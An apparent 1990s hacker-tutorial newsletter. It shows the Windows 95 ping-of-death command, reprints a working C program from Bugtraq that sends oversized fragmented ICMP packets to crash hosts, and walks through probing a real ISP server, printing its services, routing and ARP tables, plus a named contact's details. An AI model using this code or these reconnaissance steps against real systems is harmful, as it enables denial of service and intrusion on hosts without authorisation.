NEWBIE NOTE: If your Internet connection allows you to run a Web browser that shows pictures, you can use that dialup number with your Windows 95 Dialup Networking program to get either a PPP or SLIP connection.
****
Next, get your connected to the Internet. But don't run a browser or anything. Instead, once your Dialup Networking program tell you that you have a connection, click on the "Start" button and go to the listing "MS-DOS." Open this DOS window. You'll get a prompt:
C:\windows\>

Now let's first do this the good citizen way. At this prompt you can type in a plain ordinary "ping" command:
C:\windows\ping hostname
where "hostname" is the address of some Internet computer. For example, you could ping thales.nmia.com, which is one of my favorite computers, named after an obscure Greek philosopher.
Now if you happened to know the address of one of Saddam Hussein's computers, however, you might want to give the command:
c:\windows\ping -l 65510 saddam_hussein's.computer.mil
Now don't really do this to a real computer! Some, but not all, computers will crash and either remain hung or reboot when they get this ping. Others will continue working cheerily along, and then suddenly go under hours later.
Why? That extra added -l 65510 creates a giant datagram for the ping packet. Some computers, when asked to send back an identical datagram, get really messed up.
If you want all the gory details on this ping exploit, including how to protect your computers from it, check out
http://www.sophist.demon.co.uk/ping.
Now there are other ways to manufacture a giant ping datagram besides using Windows 95. For example, if you run certain FreeBSD or Linux versions of Unix on your PC, you can run this program, which was posted to the Bugtraq list.
From: Bill Fenner <fenner@freefall.freebsd.org>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>
Subject: Ping exploit program

Since some people don't necessarily have Windows '95 boxes lying around, I (Fenner) wrote the following exploit program. It requires a raw socket layer that doesn't mess with the packet, so BSD 4.3, SunOS and Solaris are
out. It works fine on 4.4BSD systems. It should work on Linux if you compile with -DREALLY_RAW.

Feel free to do with this what you want. Please use this tool only to test your own machines, and not to crash others'.

```
* win95ping.c
*
* Simulate the evil win95 "ping -l 65510 buggyhost".
* version 1.0 Bill Fenner <fenner@freebsd.org> 22-Oct-1996
*
* This requires raw sockets that don't mess with the packet at all (other
* than adding the checksum). That means that SunOS, Solaris, and
* BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD,
* OpenBSD, BSDI) will work. Linux might work, I don't have a Linux
* system to try it on.
*
* The attack from the Win95 box looks like:
* 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)
* 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)
* 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)
* 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)
* 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)
* 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)
* 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+
* 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)
* 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)
* 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)
* 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)
* 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)
* 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)
* 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)
* 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)
* 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)
* 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)
* 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)
```

```
* 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)
* 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)
* 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)
* 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)
* 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)
* 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)
* 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)
* 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)
* 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)
* 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)
* 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)
* 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)
* 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)
* 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)
* 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)
* 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)
* 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)
* 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)
* 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)
* 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)
* 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)
* 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)
* 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)
* 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)
* 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)
* 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)
* 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/*
* If your kernel doesn't muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;

bzero(buf, sizeof buf);
```

```
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname\n", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}
```

(End of Fenner's ping exploit message.)

****

YOU CAN GO TO JAIL NOTE: Not only is this hack not elite, if you are reading this you don't know enough to keep from getting busted from doing this ping hack. On the other hand, if you were to do it to an Internet host in Iraq...

****

Of course there are many other kewl things you can do with ping. If you have a shell account, you can find out lots of stuph about ping by giving the command:
man ping
In fact, you can get lots of details on any Unix command with "man."
Have fun with ping -- and be good! But remember, I'm not begging the evil genius wannabes to be good. See if I care when you get busted...

_____

To subscribe, email hacker@techbroker.com with message “subscribe hh.” To send me confidential email (please, no discussions of illegal activities) use cmeinel@techbroker.com. Please direct flames to
dev/null@techbroker.com. Happy hacking!

_____

_____

GUIDE TO (mostly) HARMLESS HACKING
Vol. 2 Number 4
More intro to TCP/IP: port surfing! Daemons! How to get on almost any computer without logging in and without breaking the law. Impress your clueless friends and actually discover kewl, legal, safe stuph.

_____

A few days ago I had a lady friend visiting. She’s 42 and doesn’t own a computer. However, she is taking a class on personal computers at a community college. She wanted to know what all this hacking stuph is about. So I decided to introduce her to port surfing. And while doing it, we stumbled across something kewl.
Port surfing takes advantage of the structure of TCP/IP. This is the protocol (set of rules) used for computers to talk to each other over the Internet. One of the basic principles of Unix (the most popular operating system on the Internet) is to assign a “port” to every function that one computer might command another to perform. Common examples are to send and receive email, read Usenet newsgroups, telnet, transfer files, and offer Web pages.
****
Newbie note #1: A computer port is a place where information goes in or out of it. On your home computer, examples of ports are your monitor, which sends information out, your keyboard and mouse, which send information in, and your modem, which sends information both out and in.
But an Internet host computer such as callisto.unm.edu has many more ports than a typical home computer. These ports are identified by numbers. Now these are not all physical ports, like a keyboard or RS232 serial port (for your modem). They are virtual (software) ports.
A “service” is a program running on a “port.” When you telnet to a port, that program is up and running, just waiting for your input. Happy hacking!
****
So if you want to read a Web page, your browser contacts port number 80 and tells the computer that manages that Web site to let you in. And, sure enough, you get into that Web server computer without a password.
OK, big deal. That’s pretty standard for the Internet. Many -- most -- computers on the Internet will let you do some things with them without needing a password,
However, the essence of hacking is doing things that aren’t obvious. That don’t just jump out at you from the manuals. One way you can move a step up from the run of the mill computer user is to learn how to port surf.
The essence of port surfing is to pick out a target computer and explore it to see what ports are open and what you can do with them.
Now if you are a lazy hacker you can use canned hacker tools such as Satan or Netcat. These are programs you can run from Linux, FreeBSD or Solaris (all types of Unix) from your PC. They automatically scan your target computers. They will tell you what ports are in use. They will also probe these ports for presence of daemons with know security flaws, and tell you what they are.
****
Newbie note # 2: A daemon is not some sort of grinch or gremlin or 666 guy. It is a program that runs in the background on many (but not all) Unix system ports. It waits for you to come along and use it. If you find a daemon on a port, it’s probably hackable. Some hacker tools will tell you what the hackable features are of the daemons they detect.
****

However, there are several reasons to surf ports by hand instead of automatically.
1) You will learn something. Probing manually you get a gut feel for how the daemon running on that port behaves. It’s the difference between watching an x-rated movie and (blush).
2) You can impress your friends. If you run a canned hacker tool like Satan your friends will look at you and say, “Big deal. I can run programs, too.” They will immediately catch on to the dirty little secret of the hacker world. Most hacking exploits are just lamerz running programs they picked up from some BBS or ftp site. But if you enter commands keystroke by keystroke they will see you using your brain. And you can help them play with daemons, too, and give them a giant rush.
3) The truly elite hackers surf ports and play with daemons by hand because it is the only way to discover something new. There are only a few hundred hackers -- at most -- who discover new stuph. The rest just run canned exploits over and over and over again. Boring. But I am teaching you how to reach the pinnacle of hackerdom.
Now let me tell you what my middle aged friend and I discovered just messing around. First, we decided we didn’t want to waste our time messing with some minor little host computer. Hey, let’s go for the big time!
So how do you find a big kahuna computer on the Internet? We started with a domain which consisted of a LAN of PCs running Linux that I happened to already know about, that is used by the New Mexico Internet Access ISP: nmia.com.
****
Newbie Note # 3: A domain is an Internet address. You can use it to look up who runs the computers used by the domain, and also to look up how that domain is connected to the rest of the Internet.
****
So to do this we first logged into my shell account with Southwest Cyberport. I gave the command:
<slug> [66] ->whois nmia.com
New Mexico Internet Access (NMIA-DOM)
2201 Buena Vista SE
Albuquerque, NM 87106
Domain Name: NMIA.COM
Administrative Contact, Technical Contact, Zone Contact:
Orrell, Stan (SO11) SAO@NMIA.COM
(505) 877-0617
Record last updated on 11-Mar-94.
Record created on 11-Mar-94.
Domain servers in listed order:
NS.NMIA.COM 198.59.166.10
GRANDE.NM.ORG 129.121.1.2
Now it’s a good bet that grande.nm.org is serving a lot of other Internet hosts beside nmia.com. Here’s how we port surf our way to find this out:
<slug> [67] ->telnet grande.nm.org 15
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
TGV MultiNet V3.5 Rev B, VAX 4000-400, OpenVMS VAX V6.1
Product License Authorization Expiration Date
---------- ------- ------------- ---------------
MULTINET Yes A-137-1641 (none)
NFS-CLIENT Yes A-137-113237 (none)
*** Configuration for file "MULTINET:NETWORK_DEVICES.CONFIGURATION" ***
Device Adapter CSR Address Flags/Vector
------ ------- ----------- ------------
se0 (Shared VMS Ethernet/FDDI) -NONE- -NONE- -NONE-
MultiNet Active Connections, including servers:
Proto Rcv-Q Snd-Q Local Address (Port) Foreign Address (Port) State
----- ----- ----- ------------------ ------------------ -----
TCP 0 822 GRANDE.NM.ORG(NETSTAT) 198.59.115.24(1569) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(POP3) 164.64.201.67(1256) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(4918) 129.121.254.5(TELNET) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(TELNET) AVATAR.NM.ORG(3141) ESTABLISHED
TCP 0 0 *(NAMESERVICE) *(*) LISTEN

TCP 0 0 *(TELNET) *(*) LISTEN
TCP 0 0 *(FTP) *(*) LISTEN
TCP 0 0 *(FINGER) *(*) LISTEN
TCP 0 0 *(NETSTAT) *(*) LISTEN
TCP 0 0 *(SMTP) *(*) LISTEN
TCP 0 0 *(LOGIN) *(*) LISTEN
TCP 0 0 *(SHELL) *(*) LISTEN
TCP 0 0 *(EXEC) *(*) LISTEN
TCP 0 0 *(RPC) *(*) LISTEN
TCP 0 0 *(NETCONTROL) *(*) LISTEN
TCP 0 0 *(SYSTAT) *(*) LISTEN
TCP 0 0 *(CHARGEN) *(*) LISTEN
TCP 0 0 *(DAYTIME) *(*) LISTEN
TCP 0 0 *(TIME) *(*) LISTEN
TCP 0 0 *(ECHO) *(*) LISTEN
TCP 0 0 *(DISCARD) *(*) LISTEN
TCP 0 0 *(PRINTER) *(*) LISTEN
TCP 0 0 *(POP2) *(*) LISTEN
TCP 0 0 *(POP3) *(*) LISTEN
TCP 0 0 *(KERBEROS_MASTER) *(*) LISTEN
TCP 0 0 *(KLOGIN) *(*) LISTEN
TCP 0 0 *(KSHELL) *(*) LISTEN
TCP 0 0 GRANDE.NM.ORG(4174) OSO.NM.ORG(X11) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(4172) OSO.NM.ORG(X11) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(4171) OSO.NM.ORG(X11) ESTABLISHED
TCP 0 0 *(FS) *(*) LISTEN
UDP 0 0 *(NAMESERVICE) *(*)
UDP 0 0 127.0.0.1(NAMESERVICE) *(*)
UDP 0 0 GRANDE.NM.OR(NAMESERV) *(*)
UDP 0 0 *(TFTP) *(*)
UDP 0 0 *(BOOTPS) *(*)
UDP 0 0 *(KERBEROS) *(*)
UDP 0 0 127.0.0.1(KERBEROS) *(*)
UDP 0 0 GRANDE.NM.OR(KERBEROS) *(*)
UDP 0 0 *(*) *(*)
UDP 0 0 *(SNMP) *(*)
UDP 0 0 *(RPC) *(*)
UDP 0 0 *(DAYTIME) *(*)
UDP 0 0 *(ECHO) *(*)
UDP 0 0 *(DISCARD) *(*)
UDP 0 0 *(TIME) *(*)
UDP 0 0 *(CHARGEN) *(*)
UDP 0 0 *(TALK) *(*)
UDP 0 0 *(NTALK) *(*)
UDP 0 0 *(1023) *(*)
UDP 0 0 *(XDMCP) *(*)
MultiNet registered RPC programs:
Program Version Protocol Port
------- ------- -------- ----
PORTMAP 2 TCP 111
PORTMAP 2 UDP 111
MultiNet IP Routing tables:
Destination Gateway Flags Refcnt Use Interface MTU
---------- ---------- ----- ------ ----- --------- ----
198.59.167.1 LAWRII.NM.ORG Up,Gateway,H 0 2 se0 1500
166.45.0.1 ENSS365.NM.ORG Up,Gateway,H 0 4162 se0 1500
205.138.138.1 ENSS365.NM.ORG Up,Gateway,H 0 71 se0 1500
204.127.160.1 ENSS365.NM.ORG Up,Gateway,H 0 298 se0 1500
127.0.0.1 127.0.0.1 Up,Host 5 1183513 lo0 4136
198.59.167.2 LAWRII.NM.ORG Up,Gateway,H 0 640 se0 1500
192.132.89.2 ENSS365.NM.ORG Up,Gateway,H 0 729 se0 1500
207.77.56.2 ENSS365.NM.ORG Up,Gateway,H 0 5 se0 1500

204.97.213.2 ENSS365.NM.ORG Up,Gateway,H 0 2641 se0 1500
194.90.74.66 ENSS365.NM.ORG Up,Gateway,H 0 1 se0 1500
204.252.102.2 ENSS365.NM.ORG Up,Gateway,H 0 109 se0 1500
205.160.243.2 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500
202.213.4.2 ENSS365.NM.ORG Up,Gateway,H 0 4 se0 1500
202.216.224.66 ENSS365.NM.ORG Up,Gateway,H 0 113 se0 1500
192.132.89.3 ENSS365.NM.ORG Up,Gateway,H 0 1100 se0 1500
198.203.196.67 ENSS365.NM.ORG Up,Gateway,H 0 385 se0 1500
160.205.13.3 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500
202.247.107.131 ENSS365.NM.ORG Up,Gateway,H 0 19 se0 1500
198.59.167.4 LAWRII.NM.ORG Up,Gateway,H 0 82 se0 1500
128.148.157.6 ENSS365.NM.ORG Up,Gateway,H 0 198 se0 1500
160.45.10.6 ENSS365.NM.ORG Up,Gateway,H 0 3 se0 1500
128.121.50.7 ENSS365.NM.ORG Up,Gateway,H 0 3052 se0 1500
206.170.113.8 ENSS365.NM.ORG Up,Gateway,H 0 1451 se0 1500
128.148.128.9 ENSS365.NM.ORG Up,Gateway,H 0 1122 se0 1500
203.7.132.9 ENSS365.NM.ORG Up,Gateway,H 0 14 se0 1500
204.216.57.10 ENSS365.NM.ORG Up,Gateway,H 0 180 se0 1500
130.74.1.75 ENSS365.NM.ORG Up,Gateway,H 0 10117 se0 1500
206.68.65.15 ENSS365.NM.ORG Up,Gateway,H 0 249 se0 1500
129.219.13.81 ENSS365.NM.ORG Up,Gateway,H 0 547 se0 1500
204.255.246.18 ENSS365.NM.ORG Up,Gateway,H 0 1125 se0 1500
160.45.24.21 ENSS365.NM.ORG Up,Gateway,H 0 97 se0 1500
206.28.168.21 ENSS365.NM.ORG Up,Gateway,H 0 2093 se0 1500
163.179.3.222 ENSS365.NM.ORG Up,Gateway,H 0 315 se0 1500
198.109.130.33 ENSS365.NM.ORG Up,Gateway,H 0 1825 se0 1500
199.224.108.33 ENSS365.NM.ORG Up,Gateway,H 0 11362 se0 1500
203.7.132.98 ENSS365.NM.ORG Up,Gateway,H 0 73 se0 1500
198.111.253.35 ENSS365.NM.ORG Up,Gateway,H 0 1134 se0 1500
206.149.24.100 ENSS365.NM.ORG Up,Gateway,H 0 3397 se0 1500
165.212.105.106 ENSS365.NM.ORG Up,Gateway,H 0 17 se0 1006
205.238.3.241 ENSS365.NM.ORG Up,Gateway,H 0 69 se0 1500
198.49.44.242 ENSS365.NM.ORG Up,Gateway,H 0 25 se0 1500
194.22.188.242 ENSS365.NM.ORG Up,Gateway,H 0 20 se0 1500
164.64.0 LAWRII.NM.ORG Up,Gateway 1 40377 se0 1500
0.0.0 ENSS365.NM.ORG Up,Gateway 2 4728741 se0 1500
207.66.1 GLORY.NM.ORG Up,Gateway 0 51 se0 1500
205.166.1 GLORY.NM.ORG Up,Gateway 0 1978 se0 1500
204.134.1 LAWRII.NM.ORG Up,Gateway 0 54 se0 1500
204.134.2 GLORY.NM.ORG Up,Gateway 0 138 se0 1500
192.132.2 129.121.248.1 Up,Gateway 0 6345 se0 1500
204.134.67 GLORY.NM.ORG Up,Gateway 0 2022 se0 1500
206.206.67 GLORY.NM.ORG Up,Gateway 0 7778 se0 1500
206.206.68 LAWRII.NM.ORG Up,Gateway 0 3185 se0 1500
207.66.5 GLORY.NM.ORG Up,Gateway 0 626 se0 1500
204.134.69 GLORY.NM.ORG Up,Gateway 0 7990 se0 1500
207.66.6 GLORY.NM.ORG Up,Gateway 0 53 se0 1500
204.134.70 LAWRII.NM.ORG Up,Gateway 0 18011 se0 1500
192.188.135 GLORY.NM.ORG Up,Gateway 0 5 se0 1500
206.206.71 LAWRII.NM.ORG Up,Gateway 0 2 se0 1500
204.134.7 GLORY.NM.ORG Up,Gateway 0 38 se0 1500
199.89.135 GLORY.NM.ORG Up,Gateway 0 99 se0 1500
198.59.136 LAWRII.NM.ORG Up,Gateway 0 1293 se0 1500
204.134.9 GLORY.NM.ORG Up,Gateway 0 21 se0 1500
204.134.73 GLORY.NM.ORG Up,Gateway 0 59794 se0 1500
129.138.0 GLORY.NM.ORG Up,Gateway 0 5262 se0 1500
192.92.10 LAWRII.NM.ORG Up,Gateway 0 163 se0 1500
206.206.75 LAWRII.NM.ORG Up,Gateway 0 604 se0 1500
207.66.13 GLORY.NM.ORG Up,Gateway 0 1184 se0 1500
204.134.77 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500
207.66.14 GLORY.NM.ORG Up,Gateway 0 334 se0 1500
204.134.78 GLORY.NM.ORG Up,Gateway 0 239 se0 1500

204.52.207 GLORY.NM.ORG Up,Gateway 0 293 se0 1500
204.134.79 GLORY.NM.ORG Up,Gateway 0 1294 se0 1500
192.160.144 LAWRII.NM.ORG Up,Gateway 0 117 se0 1500
206.206.80 PENNY.NM.ORG Up,Gateway 0 4663 se0 1500
204.134.80 GLORY.NM.ORG Up,Gateway 0 91 se0 1500
198.99.209 LAWRII.NM.ORG Up,Gateway 0 1136 se0 1500
207.66.17 GLORY.NM.ORG Up,Gateway 0 24173 se0 1500
204.134.82 GLORY.NM.ORG Up,Gateway 0 29766 se0 1500
192.41.211 GLORY.NM.ORG Up,Gateway 0 155 se0 1500
192.189.147 LAWRII.NM.ORG Up,Gateway 0 3133 se0 1500
204.134.84 PENNY.NM.ORG Up,Gateway 0 189 se0 1500
204.134.87 LAWRII.NM.ORG Up,Gateway 0 94 se0 1500
146.88.0 GLORY.NM.ORG Up,Gateway 0 140 se0 1500
192.84.24 GLORY.NM.ORG Up,Gateway 0 3530 se0 1500
204.134.88 LAWRII.NM.ORG Up,Gateway 0 136 se0 1500
198.49.217 GLORY.NM.ORG Up,Gateway 0 303 se0 1500
192.132.89 GLORY.NM.ORG Up,Gateway 0 3513 se0 1500
198.176.219 GLORY.NM.ORG Up,Gateway 0 1278 se0 1500
206.206.92 LAWRII.NM.ORG Up,Gateway 0 1228 se0 1500
192.234.220 129.121.1.91 Up,Gateway 0 2337 se0 1500
204.134.92 LAWRII.NM.ORG Up,Gateway 0 13995 se0 1500
198.59.157 LAWRII.NM.ORG Up,Gateway 0 508 se0 1500
206.206.93 GLORY.NM.ORG Up,Gateway 0 635 se0 1500
204.134.93 GLORY.NM.ORG Up,Gateway 0 907 se0 1500
198.59.158 LAWRII.NM.ORG Up,Gateway 0 14214 se0 1500
198.59.159 LAWRII.NM.ORG Up,Gateway 0 1806 se0 1500
204.134.95 PENNY.NM.ORG Up,Gateway 0 3644 se0 1500
206.206.96 GLORY.NM.ORG Up,Gateway 0 990 se0 1500
206.206.161 LAWRII.NM.ORG Up,Gateway 0 528 se0 1500
198.59.97 PENNY.NM.ORG Up,Gateway 0 55 se0 1500
198.59.161 LAWRII.NM.ORG Up,Gateway 0 497 se0 1500
192.207.226 GLORY.NM.ORG Up,Gateway 0 93217 se0 1500
198.59.99 PENNY.NM.ORG Up,Gateway 0 2 se0 1500
198.59.163 GLORY.NM.ORG Up,Gateway 0 3379 se0 1500
192.133.100 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500
204.134.100 GLORY.NM.ORG Up,Gateway 0 8 se0 1500
128.165.0 PENNY.NM.ORG Up,Gateway 0 15851 se0 1500
198.59.165 GLORY.NM.ORG Up,Gateway 0 274 se0 1500
206.206.165 LAWRII.NM.ORG Up,Gateway 0 167 se0 1500
206.206.102 GLORY.NM.ORG Up,Gateway 0 5316 se0 1500
160.230.0 LAWRII.NM.ORG Up,Gateway 0 19408 se0 1500
206.206.166 LAWRII.NM.ORG Up,Gateway 0 1756 se0 1500
205.166.231 GLORY.NM.ORG Up,Gateway 0 324 se0 1500
198.59.167 GLORY.NM.ORG Up,Gateway 0 1568 se0 1500
206.206.103 GLORY.NM.ORG Up,Gateway 0 3629 se0 1500
198.59.168 GLORY.NM.ORG Up,Gateway 0 9063 se0 1500
206.206.104 GLORY.NM.ORG Up,Gateway 0 7333 se0 1500
206.206.168 GLORY.NM.ORG Up,Gateway 0 234 se0 1500
204.134.105 LAWRII.NM.ORG Up,Gateway 0 4826 se0 1500
206.206.105 LAWRII.NM.ORG Up,Gateway 0 422 se0 1500
204.134.41 LAWRII.NM.ORG Up,Gateway 0 41782 se0 1500
206.206.169 GLORY.NM.ORG Up,Gateway 0 5101 se0 1500
204.134.42 GLORY.NM.ORG Up,Gateway 0 10761 se0 1500
206.206.170 GLORY.NM.ORG Up,Gateway 0 916 se0 1500
198.49.44 GLORY.NM.ORG Up,Gateway 0 3 se0 1500
198.59.108 GLORY.NM.ORG Up,Gateway 0 2129 se0 1500
204.29.236 GLORY.NM.ORG Up,Gateway 0 125 se0 1500
206.206.172 GLORY.NM.ORG Up,Gateway 0 5839 se0 1500
204.134.108 GLORY.NM.ORG Up,Gateway 0 3216 se0 1500
206.206.173 GLORY.NM.ORG Up,Gateway 0 374 se0 1500
198.175.173 LAWRII.NM.ORG Up,Gateway 0 6227 se0 1500
198.59.110 GLORY.NM.ORG Up,Gateway 0 1797 se0 1500

198.51.238 GLORY.NM.ORG Up,Gateway 0 1356 se0 1500
192.136.110 GLORY.NM.ORG Up,Gateway 0 583 se0 1500
204.134.48 GLORY.NM.ORG Up,Gateway 0 42 se0 1500
198.175.176 LAWRII.NM.ORG Up,Gateway 0 32 se0 1500
206.206.114 LAWRII.NM.ORG Up,Gateway 0 44 se0 1500
206.206.179 LAWRII.NM.ORG Up,Gateway 0 14 se0 1500
198.59.179 PENNY.NM.ORG Up,Gateway 0 222 se0 1500
198.59.115 GLORY.NM.ORG Up,Gateway 1 132886 se0 1500
206.206.181 GLORY.NM.ORG Up,Gateway 0 1354 se0 1500
206.206.182 SIENNA.NM.ORG Up,Gateway 0 16 se0 1500
206.206.118 GLORY.NM.ORG Up,Gateway 0 3423 se0 1500
206.206.119 GLORY.NM.ORG Up,Gateway 0 282 se0 1500
206.206.183 SIENNA.NM.ORG Up,Gateway 0 2473 se0 1500
143.120.0 LAWRII.NM.ORG Up,Gateway 0 123533 se0 1500
206.206.184 GLORY.NM.ORG Up,Gateway 0 1114 se0 1500
205.167.120 GLORY.NM.ORG Up,Gateway 0 4202 se0 1500
206.206.121 GLORY.NM.ORG Up,Gateway 1 71 se0 1500
129.121.0 GRANDE.NM.ORG Up 12 21658599 se0 1500
204.134.122 GLORY.NM.ORG Up,Gateway 0 195 se0 1500
204.134.58 GLORY.NM.ORG Up,Gateway 0 7707 se0 1500
128.123.0 GLORY.NM.ORG Up,Gateway 0 34416 se0 1500
204.134.59 GLORY.NM.ORG Up,Gateway 0 1007 se0 1500
204.134.124 GLORY.NM.ORG Up,Gateway 0 37160 se0 1500
206.206.124 LAWRII.NM.ORG Up,Gateway 0 79 se0 1500
206.206.125 PENNY.NM.ORG Up,Gateway 0 233359 se0 1500
204.134.126 GLORY.NM.ORG Up,Gateway 0 497 se0 1500
206.206.126 LAWRII.NM.ORG Up,Gateway 0 13644 se0 1500
204.69.190 GLORY.NM.ORG Up,Gateway 0 4059 se0 1500
206.206.190 GLORY.NM.ORG Up,Gateway 0 1630 se0 1500
204.134.127 GLORY.NM.ORG Up,Gateway 0 45621 se0 1500
206.206.191 GLORY.NM.ORG Up,Gateway 0 3574 se0 1500
MultiNet IPX Routing tables:
Destination Gateway Flags Refcnt Use Interface MTU
---------- ---------- ----- ------ ----- --------- ----
MultiNet ARP table:
Host Network Address Ethernet Address Arp Flags
---------- ---------- ---------
GLORY.NM.ORG (IP 129.121.1.4) AA:00:04:00:61:D0 Temporary
[UNKNOWN] (IP 129.121.251.1) 00:C0:05:01:2C:D2 Temporary
NARANJO.NM.ORG (IP 129.121.1.56) 08:00:87:04:9F:42 Temporary
CHAMA.NM.ORG (IP 129.121.1.8) AA:00:04:00:0C:D0 Temporary
[UNKNOWN] (IP 129.121.251.5) AA:00:04:00:D2:D0 Temporary
LAWRII.NM.ORG (IP 129.121.254.10) AA:00:04:00:5C:D0 Temporary
[UNKNOWN] (IP 129.121.1.91) 00:C0:05:01:2C:D2 Temporary
BRAVO.NM.ORG (IP 129.121.1.6) AA:00:04:00:0B:D0 Temporary
PENNY.NM.ORG (IP 129.121.1.10) AA:00:04:00:5F:D0 Temporary
ARRIBA.NM.ORG (IP 129.121.1.14) 08:00:2B:BC:C1:A7 Temporary
AZUL.NM.ORG (IP 129.121.1.51) 08:00:87:00:A1:D3 Temporary
ENSS365.NM.ORG (IP 129.121.1.3) 00:00:0C:51:EF:58 Temporary
AVATAR.NM.ORG (IP 129.121.254.1) 08:00:5A:1D:52:0D Temporary
[UNKNOWN] (IP 129.121.253.2) 08:00:5A:47:4A:1D Temporary
[UNKNOWN] (IP 129.121.254.5) 00:C0:7B:5F:5F:80 Temporary
CONCHAS.NM.ORG (IP 129.121.1.11) 08:00:5A:47:4A:1D Temporary
[UNKNOWN] (IP 129.121.253.10) AA:00:04:00:4B:D0 Temporary
MultiNet Network Interface statistics:
Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Collis
